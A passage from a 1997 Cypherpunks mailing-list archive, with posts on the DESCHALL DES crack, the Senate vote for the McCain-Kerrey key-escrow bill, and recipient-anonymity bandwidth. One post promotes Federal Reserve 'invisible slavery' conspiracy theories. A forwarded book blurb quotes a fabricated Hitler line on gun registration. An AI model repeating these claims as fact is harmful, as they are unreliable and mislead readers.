that would take out the worst part of it.  Key escrow when you're
sending to the government isn't so bad, since the government can
read your message anyway.

"John



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------






From die at pig.die.com  Thu Jun 19 15:22:05 1997
From: die at pig.die.com (Dave Emery)
Date: Fri, 20 Jun 1997 06:22:05 +0800
Subject: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION
In-Reply-To: <3.0.2.32.19970619093902.00759df0@popd.ix.netcom.com>
Message-ID: <199706192209.SAA25466@pig.die.com>



Bill Stewart wrote :

> On the other hand, DES really is _much_ weaker than the DESCHALL
> project indicates - Intel CPUs aren't at all tuned for DES cracking,
> whereas a custom DES-cracker with similar horsepower could have
> done the job a lot faster.  If I remember right, Wiener's design
> used 64,000 chips, about as many as there were PCs working DESCHALL,
> for a crack that would take hours instead of months.

	The way I like to look at it, it should be easy these days to do
a  compiled custom chip deeply pipelined enough to try one key per
clock.  And ASICs running at 200 mhz aren't that uncommon these days.  
That is one key every 5 nanoseconds, or .2 billion keys a second, thus
only aout 40  of these chips ( a medium size board's worth which could
sit in a single  PC slot) could equal the maximum rate the huge
distributed cracked attained as documented in  Sameer's press release.


							Dave Emery
							die at die.com






From enoch at zipcon.net  Thu Jun 19 16:06:45 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Fri, 20 Jun 1997 07:06:45 +0800
Subject: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: 
Message-ID: <199706192251.PAA01466@zipcon.net>



Declan McCullagh  writes:

 > Sen. John McCain (R-Ariz.), committee chair and chief
 > sponsor of the measure, led the attack, saying Congress
 > must "stop child pornography on the Internet and Internet
 > gambling. These legitimate law enforcement concerns cannot
 > and should not be overlooked or taken lightly."

This is of course an interesting suggestion, since most underage
erotica and gambling on the Net aren't encrypted in the first
place.  It reminds me of one Islamic country where the leaders
introduced television by reading the Koran over it, daring
critics to attack something that could be used to transmit the
word of God.

We have much the opposite situation here in the United States,
where any new technology is immediately judged by whether it can
be used to transmit pictures of naked children, or thwart
attempts by law enforcement to stamp them out.

 > He warned that allowing encryption to be exported would
 > permit child pornographers to use it.

Perhaps by "Child Pornographers," the good Senator means those
legally producing erotica in countries where the permissible age
is 16 or 17, as opposed to the US-Mandated Official Age of
Adulthood and Full Responsibility(tm) of 18.

Countries where, of course, would-be child pornographers use only
quality American encryption, the population of such nations being
so busy pornographing that they have no time to develop strong
encryption products of their own.

 > (At this point, one of the more deaf committee members
 > asked, "Pornography? Are we going to ban pornography?")

A memorable moment, I am sure, comparable to when Senator
Hollings attempted to pronounce "Beavis and Butt-Head."

 > After the vote, advocacy groups tried to put a good face on
 > the devastating loss -- and an expensive defeat it was.

You really can't fight Congress.  Ten minutes after you defeat a
bill and spend all your resources, it will be back on the floor
under another name and the whole thing will start over again.
After you defeat that one, you will discover that the text of the
measure got passed late one night as an ammendment to something
completely unrelated.

The government has infinite resources to harp incessantly on
anything until they engineer consent for it and get what they
want. Resistance is Futile.  You will be Assimilated.

 > "There's another day. We have confidence in the system," said
 > BSA's Robert Holleyman. CDT's Jerry Berman said, "What is
 > encouraging is that unlike the CDA other committees are getting
 > involved."

These two should be the first up against the wall when the
revolution comes.

On an unrelated note, after posting just ONE message to
cypherpunks from my new Zipcon account, my mailbox is beginning
to swell with Unsolicited Bulk Email.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $






From dformosa at st.nepean.uws.edu.au  Thu Jun 19 16:20:23 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Fri, 20 Jun 1997 07:20:23 +0800
Subject: E-Cash
In-Reply-To: 
Message-ID: 



On Thu, 19 Jun 1997, Graham-John Bullers wrote:

> On Thu, 19 Jun 1997, Huge Cajones Remailer wrote:
> 
> I think Vulis needs each of us to send ten copies of this back to him.

You of cause have proof that it is Vulis don't you.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  






From dformosa at st.nepean.uws.edu.au  Thu Jun 19 16:40:57 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Fri, 20 Jun 1997 07:40:57 +0800
Subject: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: 
Message-ID: 



On Thu, 19 Jun 1997, Declan McCullagh wrote:

[...]

> * Requiring that not any Federally-funded
>   communications network, but only ones established "for
>   transaction of government business" would use key
>   escrow -- thereby jumpstarting the domestic market.

Would this include militry networks?  I'm shaw the militry securaty
experts are going to be very happy about being required to eskow there
keys.


Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  






From dlv at bwalk.dm.com  Thu Jun 19 16:47:54 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 20 Jun 1997 07:47:54 +0800
Subject: author slip or conscious misdirection? (was Re: Declan as a Crime
In-Reply-To: <199706191810.TAA00201@server.test.net>
Message-ID: 



Adam Back  writes:

> 
> 
> anonymous writes:
> > An interview with cypherpunks founder Timothy C May, Jim Bell 
> > and various other Cypherpunks also present.
> > Interview conducted by Declan McCullagh
> > ...
> 
> Excellent take almost of the quality of the Cypherpunks Enquirer's
> work.  Well done.
> 

Yes I think this was very funny!  I do wish such stuff appeared more often.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From jya at pipeline.com  Thu Jun 19 17:05:18 1997
From: jya at pipeline.com (John Young)
Date: Fri, 20 Jun 1997 08:05:18 +0800
Subject: Feinstein Amendment Passes
Message-ID: <1.5.4.32.19970619234910.00678664@pop.pipeline.com>



The Feinstein Amendment to S.936, the Defense
Authorization Bill, just now passed 94 to 0. Among other
provisions it prohibits the teaching of bombmaking
for criminal purposes, in line with recommendations
of a recent report by the Justice Department on the 
availability of  information on bombmaking on the
Internet:

   http://jya.com/abi.htm








From vznuri at netcom.com  Thu Jun 19 18:11:19 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Fri, 20 Jun 1997 09:11:19 +0800
Subject: new money systems
Message-ID: <199706200103.SAA06874@netcom11.netcom.com>




I've written frequently on ideas about money here. not too long
ago I suggested that stocks are actually becoming a kind of a
currency, and that a diversity of currencies is actually
preferrable to a uniformity.

after a lot of research, I've come across some neat new technology
that cypherpunks might be interested in.

the use of money lies at the root of social interactions. what
kind of properties does that money have? those properties are
likely to influence the social interactions that ensue.

in this country, our money supply is controlled by the federal
reserve, which is actually a private banking system. there
are some people who claim that key parts of it are being
kept secret from the public, such as the controlling interests.
there is definitely little doubt that board meetings of the fed
are held in the strictest of secrecy.

in the computer industry, all software and hardware is moving
toward open standards. could this ideal translate to our money system
as well? I suspect it can.

some very reputable people are beginning to reexamine our money
system and conclude that it is not that we are competing for
scarce resources via money, but that we are competing for scarce money
utilizing resources in the process. this involves the problem of
creating money and then charging interest on this fictitious 
entity, as opposed to charging interest on money that is actually
backed by energy and not debt.

after a lot of study I've concluded that the entire money system
functions like a massive electrical circuit. this is related to
ideas presented in a mysterious document called "silent weapons
for quiet wars" which I highly recommend to anyone on the list.
some will claim it is fraudulent, but I've decided the ideas
it presents are extremely genuine, regardless of the source or
motives behind the writing.

in an electrical circuit, you have the problem of resistence
gumming up the works. engineers spend their entire lives trying
to squeeze electrical efficiency out of their devices. yet
the largest electrical circuit of all, of the greatest importance
to the health and well-being of the entire planet, I believe
has gone largely unexamined. quite possibly the electrical circuit
that comprises our world economy has large amounts of undesirable
resistance. this manifests in a very subtle way-- not direclty as
inflation, not interest rates, but as a difficulty in obtaining money.
in a system with less resistance, money would actually be easier to obtain.

and in fact many have reason to 
believe the world economy has been intentionally designed/manipulate to have
undesirable properties, such as creating an invisible and
undetectable slavery.

imagine that I have a rat on a wheel, and I am using its power to
drive my machines. part of the energy the rat expends goes into 
moving food pellets into its box. but the remaining energy I siphon
off for my own ends. the rat does not realize that it doesn't in theory
have to expend as much energy as it is doing to live, and does not
question its existence as long as it lives. but I can use this energy
for my own agenda.

would it be possible to create such a system using money? are 
*we* the rats on the treadmill? is all our money energy going toward
feeding ourselves, or is some of it being siphoned off? others who
have written intelligently on the subject are suggesting exactly that--
that a system of invisible slavery is now in existence and actually
pervades our culture. it is involved in the way the fed creates
money and manipulates interest rates, charging interest on money
that isn't truly backed by energy.

consider these questions:

1. why is it that even as our economy becomes "more productive", we
have to work harder? families now require more than one wage earner
when before they did not?

2. there are statistics that show in earlier times, it took [x]
farmers to produce the food for the population, such that the ratio
was something like 1 to 2 or so. now the ratio is nearly 1 to 60
or greater. why does this not translate into more free time for
everyone? could it be there is a means by which some entity can
siphon off our spare energy and time?

3. if someone is siphoning off energy from *everyone* simultaneously,
could it be detected in our system? how?


==

what's the solution? some are looking toward "alternative" or "local"
currencies. there are some cases such that local communities experienced
more efficient economies when they resorted to local currencies out
of desperation. 

this has extreme relevance to the cypherpunk ideals of trying to
extricate oneself from the "powers that be" and be a sovereign 
individual, particularly using technical means. it is possible that
new kinds of digital currencies will flourish, and that will not
be tied to what appears to be a very sinister system involving
the federal reserve.

some interesting ideas in new money, including digital cash,
 can be found at www.transaction.net

also, there is a system called "LETS" (local exchange transaction
system) that is getting more exposure and acceptance.

I believe that in the future there will be more and more propaganda
relative to money systems, and I hope that those here will have
a head start in understanding the secret agendas of others.

I hope others will post on this subject in the future. as I say, I believe
it is of extreme cypherpunk relevance.







From vznuri at netcom.com  Thu Jun 19 18:19:53 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Fri, 20 Jun 1997 09:19:53 +0800
Subject: "how washington is strangling america"
Message-ID: <199706200113.SAA08147@netcom11.netcom.com>




------- Forwarded Message

From: chasm at insync.net (Schuetzen)
To: ADVISORY.LIST at insync.net, . at insync.net, snetnews at world.std.com,
        . at insync.net
Subject: SNET: (fwd) piml] GOOD BOOK
Date: Mon, 16 Jun 1997 21:38:23 GMT


- ->  SearchNet's   SNETNEWS   Mailing List

X-No-Archive: Yes

FORWARDED On Sun, 15 Jun 1997 19:17:32, RoxanneJohnson
 wrote:

TO ALL PATRIOTS AND OTHER CONCERNED CITIZENS:

Here is an excellent book to read if you haven't read it already.  You can
acquire a copy thru Waldenbooks or Dalton Books or at your library (if they
carry it).  It is called A CALL FOR REVOLUTION---HOW WASHINGTON IS
STRANGLING AMERICA--AND HOW TO STOP IT by Martin L. Gross.  Below is a
brief synopsis of the book.

WE THE PEOPLE ARE ANGRY!
All across the nation, Americans are gasping for breath, waking up to find
the tentacles of Washington wrapped firmly around their necks--and
pocketbooks.  In his NEW YORK TIMES bestseller, THE GOVERNMENT RACKET:
WASHINGTON WASTE FROM A TO Z, Martin L. Gross exposed the wasteful
practices of Washington.  Now, in A CALL FOR REVOLUTION, Gross digs far
beneath that waste to uncover the startling but undeniable truth:  the core
of government is rotten.  WE'RE BEING STRANGLED BY:

*  TAX LAWS THAT DESTROY THE MIDDLE CLASS:  In 1950, a middle-class family
living in Long Island had a total tax burden of 12 percent of its income.
Today, that same family has a tax burden more than three times as much.

*  THE WELFARE PROGRAM, A NATIONAL DISGRACE:  The welfare system costs the
taxpayer more than $300 billion a year -- but if Uncle Sam wrote annual
checks for $14,700 to all 7.7 million poor families, if would cost only
$113 billion a year.

*  THE TWO PARTY DICTATORSHIP:  The Majority Leader (not elected by
voters!) has twenty-six PARTY workers on his staff -- all on the federal
payroll.  The total party tab in Congress is $20 million a year -- all paid
by taxpayers.

*  A POWER-MAD WASHINGTON:  Our cities and states are continually subjected
to unfunded mandates from the government.  Anchorage, Alaska, was forced to
pollute its waste water with fish guts, then treat the organic material in
order to comply with federal regulations.  Washington's rules will cost
that small city -- not Uncle Sam -- $428 million.

*  A BLOATED AND INDIFFERENT CONGRESS:  Congress operates at a price tag of
up to $2.8 billion a year, or some $5 million a member.  What does that get
us?  In 1991, the House passed a $151 billion highway bill -- at a cost of
$2,300 for each family of four -- without ever reading it.

Scathingly honest and crammed with investigative reporting, A CALL FOR
REVOLUTION takes us through the treacherous waters of government, offering
direct ways to correct the corruption, end the inefficiency, and tighten
the belt around the Beltway so that the federal government -- and democracy
- -- can truly be "for the people."

TAKE BACK YOUR GOVERNMENT!

Including the cold, hard facts about Vice President Al Gore's NATIONAL
PERFORMANCE REVIEW.

A CALL FOR REVOLUTION -- HOW WASHINGTON IS STRANGLING AMERICA -- AND HOW TO
STOP IT, by Martin L. Gross
Ballantine Books, New York
Libary of Congress Catalog Card Number:  93-73731
ISBN:  0-345-38773-2
Yours in Freedom,
alphashewolf at proaxis.com	
Running with the pack!!

QUOTE:  "This year will go down in history.  For the first time, a
civilized nation has full gun registration.  Our streets will be safer, our
police more efficient, and the world will follow our lead into the future!"
 -- ADOLPH HITLER, 1935

PLEASE NOTE:  Myself, a friend and his contacts at JPFO are currently
researching the above quote for authenticity.  Any leads on said quote will
be greatly appreciated.  Thanks....ASW


_______________________________________
Charles L Hamilton  (chasm at insync.net)  Houston, TX
X-No-Archive: Yes

- -> Send "subscribe   snetnews " to majordomo at world.std.com
- ->  Posted by: chasm at insync.net (Schuetzen)


------- End of Forwarded Message






From frissell at panix.com  Thu Jun 19 18:21:21 1997
From: frissell at panix.com (frissell at panix.com)
Date: Fri, 20 Jun 1997 09:21:21 +0800
Subject: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: 
Message-ID: <3.0.2.32.19970619210738.03c13fb0@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 04:18 PM 6/19/97 -0400, Declan McCullagh wrote:

>morning -- and instead approved a bill introduced
>earlier this week that creates new Federal crimes for
>some uses of crypto and an all-but-mandatory key
>escrow infrastructure.

Those of us who choose not to use federal networks and federal CAs will be 
unaffected.  I prefer cheap foreign CAs myself.

DCF
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM6nX2IVO4r4sgSPhAQEJUgP/SgSst6TmcmX2XSPoLlNe66oLh+RbZWC7
NJLoVU2JuahdqFdQOBpt42sYmV1K1tRRv2NK0M4twbbX9xygn1meGPciS0YRH5bE
Mf1iss3qtc/PDJ6w2Dyr1+Q8wc1T1f+HkJXC3IsJlVWm+S13EpL2Cgt/62yMShsA
R7XJC4p3WcA=
=/SS3
-----END PGP SIGNATURE-----






From ghio at temp0099.myriad.ml.org  Thu Jun 19 18:25:47 1997
From: ghio at temp0099.myriad.ml.org (Matthew Ghio)
Date: Fri, 20 Jun 1997 09:25:47 +0800
Subject: Recipient Anonymity
In-Reply-To: <199706180825.BAA20903@myriad.alias.net>
Message-ID: <199706200118.SAA13480@myriad.alias.net>



3umoelle at informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=) wrote:

> How are messages selected?  It seems that the recipient needs to know
> the message IDs of all messages in the system, and must have a way to
> identify his messages.

Yes.  Message-IDs on usenet average around 30-35 bytes each, so for a
typical remailer one might have to download 1000 Message-IDs, which would
take about 32K, not much bigger than the message itself.

You could also use MD5 hashes of the messages, in which case a list of
1000 message-IDs would take only 16K.  (In the unlikely event of a hash
collision you could download those two messages seperately.  Unless the
number of messages was huge (millions), you could probably get away with
using only a 32 or 64-bit hash function.)






From bgrosman at healey.com.au  Thu Jun 19 18:26:07 1997
From: bgrosman at healey.com.au (Benjamin Grosman)
Date: Fri, 20 Jun 1997 09:26:07 +0800
Subject: Extremely Disappointing: Political Cryptography
In-Reply-To: 
Message-ID: <33A9D7F3.BACEB3DA@healey.com.au>



Dear All,

I have been an advocate of strong cryptography since my first haphazard
experiments with my own pitiful encryption schemes. Upon gaining a
little more knowledge on the subject, I have become an even stronger
advocate. The right for one to think what one likes is supposedly
"gratis", but this right is almost useless if the ability to communicate
one's thoughts to others _in a private and secure manner_ is burgeoned
by those who would grant not only to assumedly trustworthy government
departments but anyone with enough will the ability and the permission
to not only control the manner in which we communicate our thoughts with
others, but to also listen in.

And yet this is not the worst part of it all. We are reliant upon
politicians, most of whom one would be encouraged to believe are there
only due to such qualities as charisma and "political nouse", a term
unto itself really, to make decisions on that which they really have
very little idea. This decision by the U.S. Senate to endorse an action
that will only repress the whole world's ability to communicate in
private (the US being the leader by far in matters of technology,
especially the Internet) is yet another example of those ill-educated in
a particular matter succumbing to either a knee-jerk political reaction,
or a knee-jerk personal reaction. Or, as in this case, a combination of
both.

> Sen. John McCain (R-Ariz.), committee chair and chief
> sponsor of the measure, led the attack, saying
> Congress must "stop child pornography on the Internet
> and Internet gambling. These legitimate law
> enforcement concerns cannot and should not be
> overlooked or taken lightly."

"Child Pornorgrapy and the Internet" - in my opinion it is "The Phrase
that Pays" in practically every situation to do with the Internet,
politically speaking. I am sure that you could put forward a very good
argument as to why practically any facet of the internet should be
controlled, repressed, and spied upon, simply by mentioning the "phrase
that pays" in the company of Politicians. It engenders the
aforementioned knee-jerk reactions, encourages them, and stokes their
fires to a new level.

Over here in Australia it is generally accepted that most Australians
have a general disdain of politicians and politics in general.
Naturally, the young are at times passionately ideological, particularly
arts students with too much time on their hands, and they always have
faith in "the new vision", the new guard of politicians - the young
politicians, who will lead them in their struggle. Little do they
realise that this "new guard" had to get to their positions somehow -
usually by gaining favour with the "old guard". And in doing so they
effectively kneecap themselves : always chained to pleasing those who
got them there, they are never able to actually do anything they
themselves passionately believe (or believed) in, and they themselves
end up becoming the "old guard", sucked into a vicious circle. If indeed
they ever believed in what they claimed to be aiming to do.

> He warned that allowing encryption to be exported
> would permit child pornographers to use it. "If it's
> being used for child pornography? Are we going to say
> that's just fine? That's it's just business? I don't
> think so."

Such narrow-mindedness and short-sightedness is something we would
probably have all hoped to not have seen, particularly in "leaders" of
such stature. "The Phrase that Pays" seems to only be so applicable to
the Internet: these same politicians would no doubt scream to all
reaches of the globe the right for all to free speech, and yet would
they repress the export of printing presses? Computers? Paper? Pencils?
I am sure that these tools are far more crucial to the business of Child
Pornographers than strong cryptography. It seems ridiculous to try and
control or at least impinge upon the business of child pornographers by
controlling the export of something that will only affect the ability of
those outside of the United States to view or obtain such material. But
then again, where the Communications Decency Act, a law of sheer
repression, failed, systems such as Government Key Escrow might succeed.
A later part of the article summarised this beautifully:

> Sen. John Ashcroft (R-MO) tried to disagree. "It's like
> photography. We're not going to [ban] photography if
> someone takes dirty pictures." (At this point, one of
> the more deaf committee members asked, "Pornography?
> Are we going to ban pornography?")
>
I guess that the whole idea of children's uncontrolled access to
information had to follow:

> Then Sen. Kay Bailey Hutchinson (R-Tex.) chimed in,
> saying she doesn't want "children to have access to
> pornography or other bad types of information."

I am also an advocate of freedom of information, as strange as it might
sound to combine that with advocacy for privacy and security. In my
opinion there is a time and a place for everything, and it is also so
with information: certain things should remain private, and justifiably
so (e.g Credit Card numbers, bank account details, Social Security
details), but most other information can only lead in the long run to
the enhancement of our ability to learn about ourselves, and the world
in which we live. Attempting to generally control access to information
is the next step in the progression of repression of freedom. First you
repress the ability to communicate thoughts privately, as mentioned
before, and then you try and control the thoughts of the current and
next generation by restricting access to information that does not fit a
personal model. The next generation will thus have grown up accepting
this as normal, and the world is safer place. And so we have a model
society...a society that reflects the views of a past generation's
society. Every "Condition" Perpetuates Itself, Due To Every
"Condition's" Fear Of Change.

Perhaps I am being a bit alarmist. Perhaps I have been influenced too
greatly by George Orwell's "1984". Or perhaps I am seeing something here
that others have known for ages, and I have only just seen it. I am not
sure of that, but I am sure of this: I am just of voting age now in
Australia, and if I could add my voice to those trying to convince
politicians of the obvious truth here in the USA then I would. But
Australia always has and probably always will continue to follow the
path of the United States. Perhaps the only way for me to be able to
share my thoughts with others will be to remain so unimportant that
nobody could possibly be interested in me.

Benjamin Grosman

-------------------------------
Apologies to those who were forced to read a very rambling diatribe
against this whole situation. I have tried to formulate my thoughts upon
reading the news of the defeat into something at least slightly
coherent. I will try at a later point to polish this up...






From wcreply at ctia.org  Thu Jun 19 18:26:35 1997
From: wcreply at ctia.org (wcreply at ctia.org)
Date: Fri, 20 Jun 1997 09:26:35 +0800
Subject: New Additions to WOW-COM(TM)!
Message-ID: <199706200113.VAA15196@intraactive.com>



Dear WOW-COM Reader:

        WOW-COM(TM) readership continues to grow at a rapid rate.  Hundreds of new subscribers each week are joining the thousands who already make WOW-COM(TM) their way of staying ahead in the wireless industry.  You too can stay informed by pointing your browser to http://www.wow-com.com/welcome this and every week for timely industry news (updated 3x per day), CTIA analysis and more including:


CAREER CENTER
--------------------------
        Looking for a job?  Looking for personnel?  WOW-COM(TM)'s Career Center provides access to industry specific employment opportunities and professional placement services.  The Career Center has just recently added several new recruiters as well as international employment opportunities in Brazil and Taiwan.  Check it out!  


CTIA WIRELESS MONITOR - a new legal resource
--------------------------
        This month marks the launch of the new CTIA Wireless Monitor, a comprehensive review of the pending regulatory proceedings that impact the wireless industry.  The CTIA Wireless Monitor contains detailed summaries of the history and current status of various issues including:

        * Competitive Market Issues (e.g., Universal Service, Interconnection, Access Charge Reform)
        * Federalism and State Issues (e.g., tower siting and land use regulation by states and localities)
        * Summarized CTIA's stated positions

        Updates to the CTIA Wireless Monitor will be made on a regular and timely basis.  CTIA's Wireless Monitor can be found in the Wireless Reference Desk on WOW-COM main page.


WIRELESS SYSTEMS INTEGRATION - sponsored by IBM
-----------------------------------------------------
        Growing your wireless network? This new section focuses on issues surrounding the industry's most common systems integration problems. Topical highlights include:

        * Systems Integration News - Updated every day.
        * Carrier Network Blueprint - a business/technical framework designed to help carriers organize and prioritize their business for maximum effectiveness. 
        * CTIA's Authentication Implementation Guide - a roadmap for successful Authentication implementation.
        * CTIA Standards Requirements for Wireless Number Portability


"WIRELESS E911 AND BEYOND" 
-----------------------------------------------------
        The transcript of "Wireless E911 and Beyond", a presentation by CTIA's President/CEO, Mr. Thomas E. Wheeler delivered earlier this week before the National Emergency Number Association, is currently posted on WOW-COM(TM)'s main page under "What's Hot!"  He describes the real problems in implementing Wireless E911. Take a look!


WOW-COM(TM) is a free service of CTIA.  Visit http://www.wow-com.com/welcome today and make it a daily habit!  

If you feel you have received this message in error, and would like to remove your name from our electronic mailing list, please go to: http://www.wow-com.com/unsubscribe.

Sincerely,

The WOW-COM(TM) Team
WOW-COM(TM) - CTIA's  free Website for the Wireless Industry








From tcmay at got.net  Thu Jun 19 18:39:14 1997
From: tcmay at got.net (Tim May)
Date: Fri, 20 Jun 1997 09:39:14 +0800
Subject: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: 
Message-ID: 



At 1:18 PM -0700 6/19/97, Declan McCullagh wrote:

>That's hardly a pro-privacy, pro-encryption bill, says
>the ACLU's Don Haines. "The ProCODE vote shows the
>political bankruptcy of the pro-business agenda. Even
>in the Commerce Committee, commerce arguments didn't
>work," he says.

This of course was the crux of my criticism of SAFE, and to a lesser
extent, Pro-CODE, and of the nominally pro-liberty groups like EPIC and
CDT. They supported "business friendly" bills, perhaps catering to their
telecom and computer industry contributors, and did not take a strong civil
libertarian stance.

The whole system is corrupt.

The only hope now is the Junger and Bernstein cases, the hope being that
the Supreme Court will eventually rule in one or both of these cases that
encrypted speech is just a form of speech and that the First Amendment
protects such speech, even on networks partially funded by the Federal
government.

(Gee, nearly all highways receive Federal funds, due to the way the tax
monies are collected and then disbursed. Does this mean the government can
regulate speech in any care travelling on any highway even partly built or
operated with Federal funds? Think about the parallels.)

The whole system is corrupt.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Thu Jun 19 18:50:15 1997
From: tcmay at got.net (Tim May)
Date: Fri, 20 Jun 1997 09:50:15 +0800
Subject: War has been Declared
In-Reply-To: 
Message-ID: 



At 3:51 PM -0700 6/19/97, Mike Duvos wrote:

>You really can't fight Congress.  Ten minutes after you defeat a
>bill and spend all your resources, it will be back on the floor
>under another name and the whole thing will start over again.
>After you defeat that one, you will discover that the text of the
>measure got passed late one night as an ammendment to something
>completely unrelated.
>
>The government has infinite resources to harp incessantly on
>anything until they engineer consent for it and get what they
>want. Resistance is Futile.  You will be Assimilated.

Precisely. This "wear them out" strategy has been obvious from the beginning.

As has been the invocation of the Four Horsemen of the Infocalypse, used
increasingly to get anything passed.

The "war" many of us have known was coming is upon us.

There's no hope in negotiating for a compromise with them.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From frissell at panix.com  Thu Jun 19 19:03:12 1997
From: frissell at panix.com (frissell at panix.com)
Date: Fri, 20 Jun 1997 10:03:12 +0800
Subject: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: 
Message-ID: <3.0.2.32.19970619211340.006f62d4@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 04:18 PM 6/19/97 -0400, Declan McCullagh wrote:
>After the vote, advocacy groups tried to put a good
>face on the devastating loss -- and an expensive
>defeat it was. After 15 months of lobbying, countless
>hearings, backroom dealmaking, and political capital
>spent, ProCODE is gutted and dead. "There's another
>day. We have confidence in the system," said BSA's
>Robert Holleyman. CDT's Jerry Berman said, "What is
>encouraging is that unlike the CDA other committees
>are getting involved."

Anyone mentally retarded enough to expect a congresscritter to protect one's 
rights deserves everything they get.  "Advocacy groups" could have better 
spent their time litigating crypto and encouraging the use of strong crypto 
by themselves and their supporters.

DCF


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM6nZRIVO4r4sgSPhAQE9qwP/QvWwKOQf8Y9E8dMGnPfU+frUpgqIIshD
aPJxnhOr3OxA/3jdCk434EketlVRx2F19KS/68Cy8HIBPQMUq8eEhGaPi3nHcBOd
ME9Gnh7ewvMCjhcsLzW8fMKKhHgiBEddAjHzm+QnCJAQ3Hvm7VH9rh5BEiYLp/cu
i8adb6uCdnQ=
=5w0+
-----END PGP SIGNATURE-----






From nobody at REPLAY.COM  Thu Jun 19 19:27:48 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Fri, 20 Jun 1997 10:27:48 +0800
Subject: Recipient Anonymity
In-Reply-To: <199706180825.BAA20903@myriad.alias.net>
Message-ID: <199706200219.EAA06517@basement.replay.com>



ghio at temp0099.myriad.ml.org (Matthew Ghio) wrote:

> You could also use MD5 hashes of the messages, in which case a list of
> 1000 message-IDs would take only 16K.  (In the unlikely event of a hash
> collision you could download those two messages seperately.  Unless the
> number of messages was huge (millions), you could probably get away with
> using only a 32 or 64-bit hash function.)

Okay.  Let's suppose that there are 10,000 messages (more realistic for a
large remailer i think)  And I am going to spread it over five servers,
And I use a 32-bit hash function (one in four billion chance I get someone
else's message)

First I download the list of Message IDs/Hashes. (40,000 bytes)
Then I download the recipient list. (another 40,000 bytes)
I find a message for me.  Let's suppose the messages are 20K each.
I send each server a list of the messages I want (10,000 bits, which is
1,250 bytes each, so 6,250 bytes total)
Finally, I get back five 20K messages from each of the five servers.

So that's a total of 80K to download the IDs/recipients lists, 6.25K to
upload the requests, and 100K to download the message pieces, to read my
20K email.  I guess that could work.






From stewarts at ix.netcom.com  Thu Jun 19 19:36:52 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 20 Jun 1997 10:36:52 +0800
Subject: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: 
Message-ID: <3.0.2.32.19970619192316.006d0cb0@popd.ix.netcom.com>



At 06:30 PM 6/19/97 -0700, Tim May wrote:
>This of course was the crux of my criticism of SAFE, and to a lesser
>extent, Pro-CODE, and of the nominally pro-liberty groups like EPIC and
>CDT. They supported "business friendly" bills, perhaps catering to their
>telecom and computer industry contributors, and did not take a strong civil
>libertarian stance.

Yup.  Not that any bill requiring NSA/CIA/FBI approval for export is
particularly business friendly, even for crypto software business
(much less for people in the speech and artwork businesses), of course...

>(Gee, nearly all highways receive Federal funds, due to the way the tax
>monies are collected and then disbursed. Does this mean the government can
>regulate speech in any car travelling on any highway even partly built or
>operated with Federal funds? Think about the parallels.)

You mean people might be required to get a license to travel on
government-funded roads, and be forced to demonstrate it to any cop who asks?
Or need a license to fly in non-government-funded air, or need to show
government-issued ID to travel on government-licensed airlines?
Americans would never stand for that sort of abuse!  
(As you said, "The whole system is corrupt".)  

There have been exceptions - the Alvarado-Sanchez case, in which the
Supremes decided that police had not had sufficient reason to stop
a truck traveling near but parallel to the US/Mexican border,
and therefore no right to start poking flashlights in the windows,
and no right to order the driver to open the tarp covering
half a ton of marihuana.  Or for that matter the Miranda case,
or Brown vs. Texas (you don't have to give your name even if they
arrest and book you...)  But mostly, it's corrupt, and 
every "compromise" just ratchets down the amount of freedom we have.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
